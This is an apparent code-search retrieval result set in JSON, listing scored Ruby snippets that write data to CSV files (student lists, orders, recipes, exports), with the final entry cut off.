[ { "docid": "b352564ba46b203c6e7e43b9da043d60", "score": "0.765678", "text": "def write_data(csv, attributes, objects)\n objects.each do |object|\n data = attributes.collect { |a| object.send(a) }\n csv << data\n end\n end", "title": "" }, { "docid": "6494e321b8b3e1811cd143565c8c210c", "score": "0.7624671", "text": "def write_object_to_csv\n begin\n CSV.open(@file_name, \"wb\") do |csv|\n @export_object.each do |row|\n csv << row\n end\n end \n rescue => exception\n raise FileWriteError, exception\n end\n end", "title": "" }, { "docid": "916125688b16156059abe27d5bb00113", "score": "0.7523393", "text": "def csv_export(filename, model, objects)\n attributes = csv_attribute_list model\n CSV.open(filename, 'wb') do |csv|\n write_headers csv, model, attributes\n break if objects.blank?\n\n write_data csv, attributes, objects\n end\n end", "title": "" }, { "docid": "df2babcf76a162b70b28d2c4fc5d420a", "score": "0.742179", "text": "def create_csv\n # crea el archivo csv llamando a la clase y metodo open de la libreria csv pasando como parametro el nombre del archivo y el modo de operacion\n CSV.open(@file, \"w\") do |csv|\n #recorre el array de objetos que se creo en el metodo people\n @people.each do |x|\n #se alamcenan el un array nuevo llamado csv aqui se debe notar que solo se almacenan como array de arrays\n csv << [x.first_name,x.last_name,x.email,x.phone,x.created_at]\n end \n end\n end", "title": "" }, { "docid": "c5664c4569af168357ffccfd0d0b006e", "score": "0.723971", "text": "def create_csv\n CSV.open(@nombre_archivo, \"wb\") do |csv|\n @array.each do |person|\n csv << [person.first_name, person.last_name, person.email, person.phone, person.created_at]\n\n #p person.first_name\n end\n end\n end", "title": "" }, { "docid": "b1e216b7bce56f3b39f54e5a0f16e252", "score": "0.72187835", "text": "def process\n validate_file_type(@file_name, 'csv')\n write_object_to_csv\n end", "title": "" }, { "docid": "691e3ab2d702d331c4e4fba878db575a", "score": "0.7068586", "text": "def create_csv\n #wb siempre va, asi es la sintaxis no es un nombre de variable\n CSV.open(@file, \"wb\") do |csv|\n @list.each do |people|\n csv << [people.first_name, people.last_name, people.email, people.phone, people.created_at]\n end\n end\n end", "title": "" }, { "docid": "6d940f61754e2431dfa74ad487c4da41", "score": "0.69773245", "text": "def create_csv\r\n\t\tCSV.open(@file, \"wb\") do |csv|\r\n\t\t\t@people_array.each do |person|\r\n\t\t\t\tcsv << [person.first_name, person.last_name, person.email, person.phone, person.created_at]\r\n\t\t\tend\r\n\t\tend\r\n\tend", "title": "" }, { "docid": "354006eefd3ee05d7a4ca0642113115b", "score": "0.69492894", "text": "def to_csv\n end", "title": "" }, { "docid": "68a54adcf21c61fe01d83fa15ac537c6", "score": "0.6938534", "text": "def save_to_csv\n CSV.open(@csv_file, 'w') do |csv|\n csv << [\"id\",\"meal_id\",\"customer_id\", \"employee_id\", \"delivered\"]\n @orders.each do |order|\n csv << [order.id, order.meal.id, order.customer.id, order.employee.id, order.delivered]\n # what I store in my csv are ids, so I get ids from all my models\n end\n end\n end", "title": "" }, { "docid": "2ef1952e98c8bbc41eae3f7fe5d94d9e", "score": "0.69161624", "text": "def create_csv\n\tCSV.open(@file, \"wb\") do |csv|\n\t\[email protected] do |people|\n\t\t\tcsv << [people.first_name, people.last_name, people.email, people.phone, people.created_at]\n\t\tend\n end\n end", "title": "" }, { "docid": "e78d676ea9f882e5e58efae93de9aae6", "score": "0.69129145", "text": "def create_csv(table)\n time = Time.new()\n file_start = \"/extraction/csv/#{time.year}#{time.month}#{time.day}#{time.hour}#{time.min}#{time.sec}#{time.usec}\"\n CSV.open(\"public#{file_start}-data.csv\", \"w\") do |csv|\n csv << table.column_data\n table.row_data.each do |row|\n csv << row\n end\n end\n @filename << \"#{file_start}-data.csv\"\n\n #If ID data was tracked, generate id CSV as well\n if table.id_data.length > 0\n CSV.open(\"public#{file_start}-ids.csv\", \"w\") do |csv|\n csv << table.column_data\n table.id_data.each do |row|\n csv << row\n end\n end\n @filename << \"#{file_start}-ids.csv\"\n end\n end", "title": "" }, { "docid": "b36c8bcf9a4f0f527fb0cdffecbc8ca4", "score": "0.6888624", "text": "def csv_export(header, data, fields)\n CSV.generate do |csv|\n csv << header #[\"Owner Name\", \"Customer Unique ID\", \"Company Name\", \"Account Number\"]\n data.each do |record|\n csv << record.attributes.values_at(*fields)\n end\n end\n end", "title": "" }, { "docid": "b36c8bcf9a4f0f527fb0cdffecbc8ca4", "score": "0.6888624", "text": "def csv_export(header, data, fields)\n CSV.generate do |csv|\n csv << header #[\"Owner Name\", \"Customer Unique ID\", \"Company Name\", \"Account Number\"]\n data.each do |record|\n csv << record.attributes.values_at(*fields)\n end\n end\n end", "title": "" }, { "docid": "fda6bb35b7ecd0d6324ccd4b0ed8fe2e", "score": "0.68825626", "text": "def save_students_with_CSV(filename = \"students.csv\")\n return if @students.count == 0\n p filename\n # open the file for writing\n CSV.open(filename, 'w') do |csv_object|\n @students.each do |student_row|\n csv_object << [student_row[:name], student_row[:cohort], student_row[:country]]\n #p student_row, csv_object\n end\n end\nend", "title": "" }, { "docid": "8d5cd9c7da02e2e27da8b5919ccf6dd3", "score": "0.6864922", "text": "def save_to_csv\n CSV.open(@csv_file, 'w') do |row|\n row << [\"id\", \"name\", \"price\"] # Header row\n @meals.each do |meal|\n row << [meal.id, meal.name, meal.price]\n end\n end\n end", "title": "" }, { "docid": "2383b9961e69df4ac05655ddc6af43cd", "score": "0.6850568", "text": "def target!\n ::CbuilderCSVProxy.generate do |csv|\n csv << @headers # header row\n @attributes.each do |element| # body rows\n csv << (element.nil? ? '' : element)\n end\n end\n end", "title": "" }, { "docid": "cb49320ffbdfefbd5524b1edc8cd7589", "score": "0.6849715", "text": "def create_csv(data, filepath)\n File.delete filepath if File.exists? filepath\n CSV.open(filepath, \"wb\") do |csv|\n csv << data.first.keys # adds the attributes name on the first line\n data.each do |hash|\n csv << hash.values\n end\n end\n end", "title": "" }, { "docid": "62d8287cdb8fe278c141fcc624e43db2", "score": "0.68167526", "text": "def save_class_tofile\n curr_day = Time.now.strftime(\"%Y_%m_%d\")\n base_dir_out = File.dirname(__FILE__) + \"/csv/#{curr_day}\"\n FileUtils.mkdir_p(base_dir_out)\n \n @tables_class.each do |str_table|\n allitems = (eval(str_table)).find(:all)\n @log.debug \"Processing table #{str_table}\"\n strdet = []\n strdet << \"Table: #{str_table}\"\n strdet << allitems[0].attributes.keys.join(\",\") if allitems.size > 0\n allitems.each do |item|\n strdet << item.attributes.values.join(\",\") \n end\n fname = File.join(base_dir_out, \"#{str_table.split(\"::\")[1]}.csv\")\n File.open(fname, 'w') do |out|\n out << strdet.join(\"\\n\")\n end\n @log.debug \"File created: #{fname}\"\n end\n end", "title": "" }, { "docid": "1fc9383a29daa1d452ceb001e8443876", "score": "0.67610204", "text": "def export_csv\n export_string = \"#{id},#{type_string},#{name.gsub(/[\\,,\\s]/,\"\")},\"\n details.each{|k,v| export_string << \"#{k}=#{v};\".gsub(/[\\,,\\s]/,\"\") }\n export_string\n end", "title": "" }, { "docid": "60c053234085678691c849a66fef317c", "score": "0.6756664", "text": "def initialize(dir, attr_labels)\n @file_name = \"#{Template::OutPutDir}/#{dir}_#{Time.now.to_i}.csv\"\n @file = File.new(@file_name, 'w')\n @file.puts(attr_labels.join(','))\n end", "title": "" }, { "docid": "89629bcc3f762ef5adac59d61de6e9b6", "score": "0.6750666", "text": "def save_students(filename)\r\n # open the file for writing using CSV Class\r\n CSV.open(filename, \"w\") do |csv|\r\n #iterate over the array of students\r\n @students.each do |student|\r\n csv << [student[:name], student[:age], student[:nationality], student[:cohort]]\r\n end\r\n end\r\nend", "title": "" }, { "docid": "2dff8cd35d949b7f7460ed7da0defeea", "score": "0.6744622", "text": "def save_to_csv\n CSV.open(@csv_path, \"wb\") do |row|\n @recipes.each do |recipe| # Loop through our recipes objects array and for each recipe object extract the name and description to add to the csv\n row << [recipe.name, recipe.description, recipe.done]\n end\n end\n end", "title": "" }, { "docid": "20f684650463d983ef14f906089aeada", "score": "0.6730339", "text": "def generate_csv\n ::CSV.generate do |csv|\n # Write headers\n questions_nominal = Question.where(entity_class: @entity_class).order(id: :asc).map { |q| q.nominal }\n questions_nominal += [\"class\"]\n csv.add_row(questions_nominal)\n\n # Write rows\n @klass.where(klass: @entity_class).each do |entity|\n row = entity.answers.order(question_id: :asc).map do |answer|\n answer.answer\n end\n row += [entity.name.parameterize]\n csv << row\n end\n end\n end", "title": "" }, { "docid": "1fc7c6d3f89f5be47a23c7a813b91c50", "score": "0.6665157", "text": "def to_csv(objs)\n return unless validate(objs)\n\n if objs.is_a?(Array)\n model = objs.first.class\n else\n model_str = objs.class.to_s.split(\"::\").first\n model = Object.const_get(model_str)\n end\n cols = model.column_names\n\n csv_file = CSV.generate do |csv|\n csv << cols\n objs.each do |x|\n csv << x.attributes.values_at(*cols)\n end\n end\n\n return csv_file\n end", "title": "" }, { "docid": "d829c07796d6fc1cfc706e2661f90c4e", "score": "0.665767", "text": "def save_employees\n csv = CSV.open(\"employees.csv\", \"w\")\n csv.add_row [\"name\",\"phone\",\"address\",\"position\",\"salary\",\"slack\",\"github\"]\n @people.each do |person|\n csv.add_row [person.name, person.phone, person.address, person.position, person.salary, person.slack, person.github]\n end\n csv.close\nend", "title": "" }, { "docid": "af96e1f7da3460bf32efa613e4e5c4f5", "score": "0.6639812", "text": "def save_students\n # open the file for writing\nCSV.open(@filename, \"w\") { |file|\n @students.each { |student|\n student_data = [student[:name], student[:cohort], student[:origin], student[:dob]]\n file << student_data\n }\n }\nend", "title": "" }, { "docid": "f7f12cf21d09ef854f2b00197d2282c4", "score": "0.66329414", "text": "def export_csv(objects, fn)\n filename = I18n.l(Time.now, :format => :short) + \"-#{fn}\"\n content = objects.to_csv\n send_data content,\n :type => \"text/csv; charset=utf-8; header=present\",\n :disposition => \"attachment; filename=#{filename}\"\n end", "title": "" }, { "docid": "6404b01e27b32d5902121ebc79d2f3e9", "score": "0.6623846", "text": "def open_output_file\n of = super\n CSV.new(of)\n end", "title": "" }, { "docid": "430fa74097c501ba3421474177c3d3f7", "score": "0.6606333", "text": "def create_export_string()\r\n @csv_string = FasterCSV.generate(:force_quotes => true) do |csv|\r\n # Set the header row.\r\n csv << @header\r\n @data.each() do |rec|\r\n # Create an array of attribute values and feed to the csv\r\n # generator.\r\n begin\r\n csv << @header.collect {|attrib| rec.send(attrib.to_sym)}\r\n rescue NoMethodError => e\r\n raise BodySize::ExportError, e\r\n end\r\n end\r\n end\r\n end", "title": "" }, { "docid": "5c59cca47192cffd1aacb0e455e866da", "score": "0.6606152", "text": "def save_csv\n CSV.open(@file_path, \"wb\") do |csv|\n unless @elements.empty?\n csv << @elements.first.class.csv_headers\n @elements.each { |element| csv << element.to_array }\n end\n end\n end", "title": "" }, { "docid": "af08e7dc3e98e6f81055aceca38b8669", "score": "0.65874535", "text": "def save_csv\n csv_options = { col_sep: ',', force_quotes: true, quote_char: '\"' }\n\n # wb -> \"write from beginning\" => erases the file\n # and write it from scratch\n CSV.open(@csv_file_path, 'wb', csv_options) do |csv|\n csv << ['id', 'name', 'address']\n\n @customers.each do |customer|\n csv << [customer.id, customer.name, customer.address]\n end\n end\n end", "title": "" }, { "docid": "914d8c7605c12b5d60698af5135dfedc", "score": "0.65824044", "text": "def csv\n @date + \",\" + @name\n end", "title": "" }, { "docid": "47470acc74eabd06328831855a1c6c8e", "score": "0.6579008", "text": "def to_csv\n\t\t\tattributes.values.join(\", \")\n\t\tend", "title": "" }, { "docid": "2577fe76d992402f36b15bee76ba001c", "score": "0.6577255", "text": "def csv_for(object)\n file = File.open \"#{Rails.public_path}/system/\"\n end", "title": "" }, { "docid": "0676c3f066a075a52edc15fff8ea4f34", "score": "0.65736103", "text": "def create (props)\n # this gives props an ever incrementing id -- see def next_id\n props[:id] = next_id\n # makes a new row by giving it the props hash\n row = Row.new(props)\n # a+ means if the file doesn't it exist, it will create it and open it for writing.\n # << push new value onto array\n CSV.open(@filename, \"a+\") do |csv|\n csv << row.to_csv\n end\n\n row\nend", "title": "" }, { "docid": "86ffd38f3ab70d6835a4cb6789a2f5a7", "score": "0.6556824", "text": "def to_csv(objects = nil)\n seed_records(objects) unless objects.nil?\n CSV.generate do |csv|\n csv << header\n records.each do |record|\n csv << record\n end\n end\n end", "title": "" }, { "docid": "819c697419b026a673b0881e2817044f", "score": "0.65410477", "text": "def initialize_writer\n self.configure_writer(\n :type => 'csv', \n :header => [\"Name\", \"Manufacturer\", \"Website\", \"Lead Time\", \"Description\", \"Category Code\", \"Applicable Uses\", \"Default Image URL\", \"Attachments\"]\n # csv << [p[:name], p[:manufacturer], p[:website], p[:lead_time], p[:description], p[:category_code], p[:applicable_uses], p[:default_image_url], *p[:attachments]]\n ) \n end", "title": "" }, { "docid": "ad1fc9f9708805537c998ae25030725c", "score": "0.65352964", "text": "def save_as_csv\n CSV.open(\"./db/#{@name}.csv\", \"wb\") {|csv| @@D.to_a.each {|elem| csv << elem} }\n end", "title": "" }, { "docid": "d80486927bbeea00ae935bd3d44ce004", "score": "0.6532801", "text": "def to_csv(options={})\n columns = options.delete(:columns)\n\n CSV.generate(options) do |csv|\n csv << columns if columns.present?\n\n serializable_objects.each do |object|\n csv << object.attributes_hash.values\n end\n end\n end", "title": "" }, { "docid": "eeda9dbd64bf1f80edcda963b8d00c21", "score": "0.6530301", "text": "def generate_csv(output_file)\n CSV.open(output_file, \"wb\") do |csv|\n csv << @keys\n @objects.each do |object|\n csv << object\n end\n end\n end", "title": "" }, { "docid": "472e00054309a05e24f01cd59e64df78", "score": "0.65148807", "text": "def createFile(polls)\n CSV.open(\"LUTO_generated_information.csv\",\"w\") do |csv|\n csv << [\"number\",\"code\",\"date\",\"value\"]\n polls.each {|poll_data| csv << poll_data }\n end \nend", "title": "" }, { "docid": "f7b2a6762031367aadb2ced97bd7de73", "score": "0.65087867", "text": "def to_csv\n id.to_s << \",\" << time_in.to_s << \",\" << time_out.to_s << \",\" << date.to_s << \",\" << description\n end", "title": "" }, { "docid": "1f8d507b0443f716914c5e3399888305", "score": "0.6501956", "text": "def csv_export(header, data, fields)\n CSV.generate do |csv|\n csv << header #[\"Owner Name\", \"Customer Unique ID\", \"Company Name\", \"Account Number\"]\n recordline = Array.new(fields)\n data.each do |record|\n #puts record\n fields.times{ |i| recordline[i] = record[i]}\n csv << recordline #[record[0], record[2], record[3], record[4]]\n recordline = Array.new(fields)\n end\n end\n end", "title": "" }, { "docid": "2659ffbad6d1c9deac62e8b226fc9a23", "score": "0.6501745", "text": "def csv\n StructuredCSV.generate(metadata)\n end", "title": "" }, { "docid": "7018b37e435f1cc1cd3dd6de163a4898", "score": "0.6496963", "text": "def to_csv\n to_return =[[@primary_key, \n @note.note_id,\n get_parent_primary_key,\n @uuid, \n @type,\n @filename,\n @filepath,\n @backup_location]]\n\n # Add in any child objects\n @child_objects.each do |child_object|\n to_return += child_object.to_csv\n end\n\n # Add in any thumbnails\n @thumbnails.each do |thumbnail|\n to_return += thumbnail.to_csv\n end\n\n return to_return\n end", "title": "" }, { "docid": "7018b37e435f1cc1cd3dd6de163a4898", "score": "0.6496963", "text": "def to_csv\n to_return =[[@primary_key, \n @note.note_id,\n get_parent_primary_key,\n @uuid, \n @type,\n @filename,\n @filepath,\n @backup_location]]\n\n # Add in any child objects\n @child_objects.each do |child_object|\n to_return += child_object.to_csv\n end\n\n # Add in any thumbnails\n @thumbnails.each do |thumbnail|\n to_return += thumbnail.to_csv\n end\n\n return to_return\n end", "title": "" }, { "docid": "7aab416795de5e6c9e58f55aa7829c33", "score": "0.6489879", "text": "def write_csv(cust_order)\n #add sku and units to exported hash\n CSV.open(\"final_cust_order.csv\", \"a\") do |file|\n cust_order.to_a.each do |item_info|\n file << item_info\n end\n end\nend", "title": "" }, { "docid": "1fabf158698343c32cd802a9b0a45ad7", "score": "0.6487336", "text": "def rewrite_csv\n CSV.open(@file, \"wb\") do |csv|\n @array.each do |person|\n csv << [person.first_name, person.last_name, person.email, person.phone, person.created_at]\n end\n end\n end", "title": "" }, { "docid": "f5fe5678baeff8c24246f571a652db4d", "score": "0.6463376", "text": "def save_students\n get_filename\n puts \"File name is [#{@file_name}]\"\n # Open the file for writing\n CSV.open(@file_name,\"w\") do |csv|\n @students.each do |student|\n line = [student[:name],student[:cohort]]\n csv << line\n end\n end\n puts \"Student Details Written To File #{@file_name}\"\nend", "title": "" }, { "docid": "cae6ec717c32d6a4615a1dc23fed99f6", "score": "0.64622813", "text": "def generateObject(file)\n spreadsheet = open_spreadsheet(file)\n header = spreadsheet.row(1)\n data_obj = {}\n data_obj['data'] = {}\n (0..spreadsheet.last_column - 1).each do |i|\n data_obj['data'][header[i]] = spreadsheet.column(i + 1)[1, spreadsheet.last_row]\n end\n\n data_obj[:file] = write_temp_file(CSV.parse(spreadsheet.to_csv))\n\n data_obj\n end", "title": "" }, { "docid": "b648fa39f6e9332779f66b0b082dff6c", "score": "0.64589804", "text": "def to_csv\n\t\ta = @author.delete \"\\n\\t\"\n\t\tt = @title.delete \"\\n\\t\"\n\t\td = @description.delete \"\\n\\t\"\n\t\tcsv_string = \"\\\"\" + @year + \"\\\",\\\"\" + a +\"\\\",\\\"\" + t + \"\\\",\\\"\" + d + \"\\\"\\n\"\n\t\treturn csv_string\n\tend", "title": "" }, { "docid": "f3a6d7a424ae9f0e9f425ead78d6b6c1", "score": "0.64562196", "text": "def save\n #file = File.open(\"./db/gossip.csv\", \"w\")\n #file.close\n file = CSV.open(\"./db/gossip.csv\", \"a+\") do |csv|\n csv << [@author, @content]\n end\nend", "title": "" }, { "docid": "9284f789bb1d542c9793595c918410cf", "score": "0.64469683", "text": "def as_csv(*)\n CSV.generate do |csv|\n csv << attributes_with_unit\n nodes.each { |node| csv << node_row(node) }\n end\n end", "title": "" }, { "docid": "e0a76c66ff5c8870fe6a7c606c6ce9fd", "score": "0.6445254", "text": "def write_csv\n original_info = get_original_info\n puts original_info\n updated_info = [\n original_info[\"id\"],\n # Concatenate original and new provenance with dspace special\n # character.\n # If we try to import a csv file with just the updated provenance,\n # it will *overwrite*, not append, so we need to keep the original.\n original_info[\"provenance\"] + \"||\" + METS.provenance\n ]\n CSV.open(@current_csv, \"a\") do |csv|\n csv << updated_info\n end\n end", "title": "" }, { "docid": "c643f3cdbaffd710c0515a3391b97647", "score": "0.64415354", "text": "def save_students\n puts \"saving students...\"\n CSV.open(\"students.csv\", \"w\") do |csv|\n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n end\n end\nend", "title": "" }, { "docid": "8cc6684bbc3acadbfca1fb5daa8c1500", "score": "0.64289474", "text": "def to_csv(columns: nil)\n attributes = members\n attributes = columns & attributes if columns\n\n row = attributes.map! { |column| to_csv_value(column) }\n\n ::CSV.generate_line(row)\n end", "title": "" }, { "docid": "ae1b9f42c546c5a227fab8c6476233f5", "score": "0.6425648", "text": "def save_students\n # open the file for writting\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:age], student[:cohort], student[:hobby]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend", "title": "" }, { "docid": "29a4e893f0c98fcbef24fc2c6023f7bf", "score": "0.6416496", "text": "def print_to_CSV(products_info)\n CSV.open($file_name, \"wb\") do |csv_line|\n csv_line << ['Name', 'Price', 'Image']\n products_info.each do |product|\n csv_line << product\n end\n end\nend", "title": "" }, { "docid": "dbbd6d271092045dc06d7aa4c19ead7e", "score": "0.64157826", "text": "def save_students\n #open the file for writing\n file = File.open(\"students.csv\", \"w\")\n @students.each do |student|\n student_data = [\n student[:name], student[:country_of_birth], student[:age],\n student[:height], student[:hobbies], student[:cohort_choice]\n ]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend", "title": "" }, { "docid": "52b8e027d57970ea3b85b1e144091b6a", "score": "0.6410791", "text": "def csv_object\n @csv_object ||= CSV.new(input, headers:true, return_headers: true)\n end", "title": "" }, { "docid": "2a29601c4b24bb409ffe4b159381c5ba", "score": "0.64041734", "text": "def create_csv(ds_to_include)\n case @record_type\n when 'exam_paper'\n outfile_name = 'exam_papers_key_metadata'\n when 'thesis'\n outfile_name = 'theses_key_metadata'\n else\n outfile_name = 'key_metadata'\n end\n outfile_path = @output_location + '/' + outfile_name + '.csv'\n CSV.open(outfile_path, 'a+') do |csv|\n csv << @headers if csv.count.eql? 0\n csv_row = get_csv_row(ds_to_include)\n csv << csv_row\n end\n end", "title": "" }, { "docid": "a3feb5433e49e77b519c04efdda097fa", "score": "0.63964856", "text": "def to_csv\n id.to_s << \",\" << first_name.to_s << \",\" << last_name.to_s << \",\" << age.to_s << \n \",\" << address.to_s\n end", "title": "" }, { "docid": "6d2be86707d636efe4c1631600b0b2a0", "score": "0.63961494", "text": "def save\n #file = File.open(\"./db/gossip.csv\", \"w\")\n #file.close\n file = CSV.open(\"./db/gossip.csv\", \"a+\") do |csv|\n csv << [@author, @content]\n end\n end", "title": "" }, { "docid": "cea9d1846442f86aed8284fb70128c50", "score": "0.63942593", "text": "def to_csv\n students = self.students\n columns1 = %w{forename surname username regno}\n columns2 = [\"Last Access\", \"Availability\", \"TESTING UPLOAD [Total Pts: 100]\", \"Grading Notes\", \"Notes Format\", \"Feedback to Learner\", \"Feedback Format\"]\n CSV.generate(headers: true) do |csv|\n csv << columns1 + columns2\n students.each do |student|\n csv << student.attributes.values_at(*columns1) + [\" \", \"Yes\", \" \", \"#{pass_exam(student)} \", \"SMART_TEXT\" ] + export_format(student) + [\"HTML\"]\n end\n end\n end", "title": "" }, { "docid": "56e7a9e4efafc426bf57dfab77417c59", "score": "0.6392575", "text": "def save_students\n # open file for writing\n file = File.open(\"students.csv\", \"w\")\n # iterate over the array of students\n @students.each do |student|\n student_data = [student[:name], student[:age], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend", "title": "" }, { "docid": "555558bb4e1c7d5abab57bd392d7f186", "score": "0.6388388", "text": "def save_students\n # Create the file or open if it exists\n file = File.open(\"students.csv\", \"w\")\n # Add new lines to the file\n @students.each do |student|\n # Change from hash to array as csv doesn't play well with hash\n student_data = [student[:name], student[:cohort]]\n # Join toget the line\n csv_line = student_data.join(\",\")\n # Write to the file\n file.puts csv_line\n end\n # Save and close the file\n file.close\nend", "title": "" }, { "docid": "a6650acfa324045c9595d368f9bad283", "score": "0.63852835", "text": "def to_csv\n \"#{@nom}:#{@taux}\"\n end", "title": "" }, { "docid": "fadb2b1a80237da0c5e64f586cfa696a", "score": "0.6382159", "text": "def to_file; end", "title": "" }, { "docid": "a42b9da9b73afd0140da5c4a1be32a77", "score": "0.6380507", "text": "def to_csv\n CSV.generate do |csv|\n csv << [ \"Housing Data Profile: #{self.muni}\",\n nil,\n \"Generated on\",\n DateTime.now.strftime(\"%d %b %Y\"),\n \"via Housing MA\",\n \"http://housing.ma\",\n \"by the Metropolitan Area Planning Council\",\n \"http://mapc.org\"\n ]\n\n csv << nil_row(nil)\n\n csv << [\"Attribute\",\n \"#{self.muni}\",\n \"#{self.muni}, Margin of Error\",\n \"Aggregation Method\",\n \"#{self.neighbors} Municipalities\",\n \"#{self.community_type} (Community Type)\",\n \"#{self.region} (Region)\",\n \"#{self.county} (County)\",\n \"#{self.state} (State)\"]\n \n self.topic_areas.each do |area|\n csv << nil_row(\"#{area}\")\n\n area.topics.each do |topic|\n csv << nil_row(\"\\t#{topic}\")\n\n topic.subtopics.each do |subtopic|\n csv << nil_row(\"\\t\\t#{subtopic}\")\n \n subtopic.fields.each{ |field| csv << field_row(field) }\n end\n end\n end\n end\n end", "title": "" }, { "docid": "d8c7b5c571a4ddce1b62564d86730699", "score": "0.63798285", "text": "def to_csv\n [@primary_key, @name, @notes.length, @account.primary_key, @account.name]\n end", "title": "" }, { "docid": "58681f24d3ee5bd42c1515faaa06ca15", "score": "0.63628685", "text": "def to_csv(options ={})\n CSV.generate(options) do |csv|\n csv << course_type.csv_titles\n csv << csv_data\n end\n end", "title": "" }, { "docid": "2999e1107323578661c68a346fb5c354", "score": "0.6353344", "text": "def to_csv\n File.write(@file_name, to_s)\n end", "title": "" }, { "docid": "89191677df76e238f5c8127bc5d2f882", "score": "0.6348996", "text": "def save_data\n csv_options = { col_sep: ',', force_quotes: true, quote_char: '\"' }\n filepath = @csv_path\n\n CSV.open(filepath, 'wb', csv_options) do |csv|\n @recipes.each do |recipe|\n csv << [recipe.name.to_s, recipe.descr.to_s, recipe.dur.to_s, recipe.diff.to_s, recipe.link.to_s, recipe.made]\n end\n end\n end", "title": "" }, { "docid": "7820649550fa57590eafbe749eea58f2", "score": "0.6343122", "text": "def generate_csv\n CSV.open(\"outputs/#{@path}\", 'w') do |csv|\n csv << ['###########']\n csv << [\"# Output #{@path}\"]\n csv << ['###########']\n @order.items.each do |item|\n csv << [item[:quantity], ' ' + item[:product].name, ' ' + item[:product].taxed_price.to_s]\n end\n csv << []\n csv << [\"Sales Taxes: #{sprintf('%0.02f', @order.sales_taxes)}\"]\n csv << [\"Total: #{sprintf('%0.02f', @order.total)}\"]\n end\n end", "title": "" }, { "docid": "40472c4fe9b892d8728cbd4f2e10e0e2", "score": "0.63305414", "text": "def save_students\n file = File.open(\"students.csv\", \"w\")\n #2nd argument file access mode. writes data to cases.csv file\n @students.each do |student|\n data = student[:name], student[:cohort], student[:height], student[:age], student[:hobbs]\n #saves each value at corresponding hash to data as array, then joins so all one row\n csv_line = data.join(\",\")\n file.puts csv_line\n #saves data to each csv line/row of file\n end\n\n file.close\nend", "title": "" }, { "docid": "65fe10b099804682f645c5a252b84d63", "score": "0.63242316", "text": "def save_to_file\n file = File.open(\"students.csv\", \"w\")\n @all_students.each do |student|\n student_data = [student[:first_name], student[:last_name], student[:nationality], student[:cohort]]\n csv_line = student_data.join(\",\")\n file.puts csv_line\n end\n file.close\nend", "title": "" }, { "docid": "6d37671132ad0632fb37f8d77a88878d", "score": "0.6324219", "text": "def write_csv_report_for_klass klass\n report_file = File.join(@cli.report_dir, \"#{klass.name.underscore}.csv\")\n\n CSV File.open(report_file, \"w+\") do | csv |\n csv << klass.to_csv\n klass.all do |m|\n csv << m.to_csv\n end\n end\n end", "title": "" }, { "docid": "9186af7619bb7d31d2723722aecd0bea", "score": "0.63163286", "text": "def to_csv\n [@record_id, @email, @phone, @name_prefix, @first_name, @middle_name, @last_name, @name_suffix, @name_phonetic]\n end", "title": "" }, { "docid": "eb979564bd926e6750496ae6e34658dd", "score": "0.63152945", "text": "def to_csv\n self.class.csv_columns.collect {|method| try(method) || try_association_methods(method) }\n end", "title": "" }, { "docid": "a21afdf0995720e5de4e2f696781e8d9", "score": "0.6313681", "text": "def save_students(filename = \"students.csv\")\n CSV.open(filename, \"wb\") do |csv| \n @students.each do |student|\n csv << [student[:name], student[:cohort]]\n end \n end\nend", "title": "" }, { "docid": "1d2945efd799b6a8d2708da3f555d5fd", "score": "0.6313299", "text": "def exportToCsv(options = {})\n\n gzip = options[:gzip] || false\n\n settings(options[:settings]) if options[:settings] != nil\n fields = options[:fields] || getSettingsFields != nil ? getSettingsFields : nil || getAllFields\n customFields = options[:customFields] || getSettingsCustomFields != nil ? getSettingsCustomFields : nil || getCustomFields\n\n fields = [fields != \"\" ? fields : nil,customFields != \"\" ? customFields : nil].compact.join(\",\")\n fields = sortFields(fields)\n\n objects = search(options)\n filename = options[:filename]\n filepath = options[:filepath]\n warn \"There are no data in specified entity\" if objects.empty?\n\n ordered_fields = fields.split(\",\")\n\n FasterCSV.open(\"#{filepath}#{filename}\", \"w\",{:col_sep => \",\",:quote_char => '\"'}) do |csv|\n csv << ordered_fields\n objects.each do |object|\n temp = Array.new\n ordered_fields.each do |o|\n # Remove special characters:\n if (object[o].instance_of? String)\n value = object[o].delete(\"\\n\").delete('\"')\n temp.push(value)\n else\n temp.push(object[o])\n end\n end\n csv << temp\n end\n end\n\n if (gzip)\n Zlib::GzipWriter.open(\"#{filepath}#{filename}\".gsub(\".csv\",\".gz\")) do |gz|\n gz.write File.read(\"#{filepath}#{filename}\")\n end\n end\n\n\n end", "title": "" }, { "docid": "fe0862ac69a2653803b5adedb692e7f3", "score": "0.6305587", "text": "def generate_csv(records,fields,from,to)\n if fields.present?\n csvFile = CSV.generate(headers: true) do |csv|\n header = fields.map{|field| field}\n row = [\"#\"] + header\n csv << row\n\n # Initialize counter\n cnt = 0\n records.each do |record|\n # select fields from the attributes and create\n # csv file\n row = [\"#{cnt+=1}\"] + fields.map do |attrib| \n if attrib.to_s == \"Create By\" \n record.user.full_name\n else\n record.send(attrib) \n end\n end\n csv << row\n end\n 3.times { csv.add_row [] }\n csv.add_row ['DATE RANGE',\"FROM-#{from}\",\"To-#{to}\"]\n csv.add_row ['REPORT SUMMARY', \"TOTAL\"]\n csv.add_row ['OFFENSES ', Offense.count]\n csv.add_row ['FILTERED OFFENSES ', records.count]\n end\n end\n\n send_data csvFile, filename: \"Report-Generated-At-#{Date.today}.csv\"\n end", "title": "" }, { "docid": "77686f177b3cc143f4cd7209b44fdaf3", "score": "0.63017374", "text": "def create_csv(event, data, headers)\n file_path = csv_file_path event\n headers.sort!\n @logger.info \"Writing CSV file '#{file_path}'...\"\n CSV.open(file_path, 'w') do |csv|\n # Write the header row. The first column will be the event itself.\n csv << ['event'] + headers\n\n # Loop through each data point (event instance recorded).\n data.each do |data_point|\n # Build the iterated entry that will form a single row:\n event_properties = data_point['properties']\n entry = [event] + headers.map do |property_key|\n if property_key == 'time'\n Time.at(event_properties[property_key].to_i).strftime('%Y-%m-%d %H:%M:%S')\n else\n event_properties[property_key].to_s\n end\n end # map\n\n # Add the entry as a single row to the CSV file:\n csv << entry\n end # each\n end # open\n end", "title": "" }, { "docid": "5774b363fb160ebcde588bda113d3a97", "score": "0.6299206", "text": "def to_csv_line\n [id, started_at, finished_at, frequency, 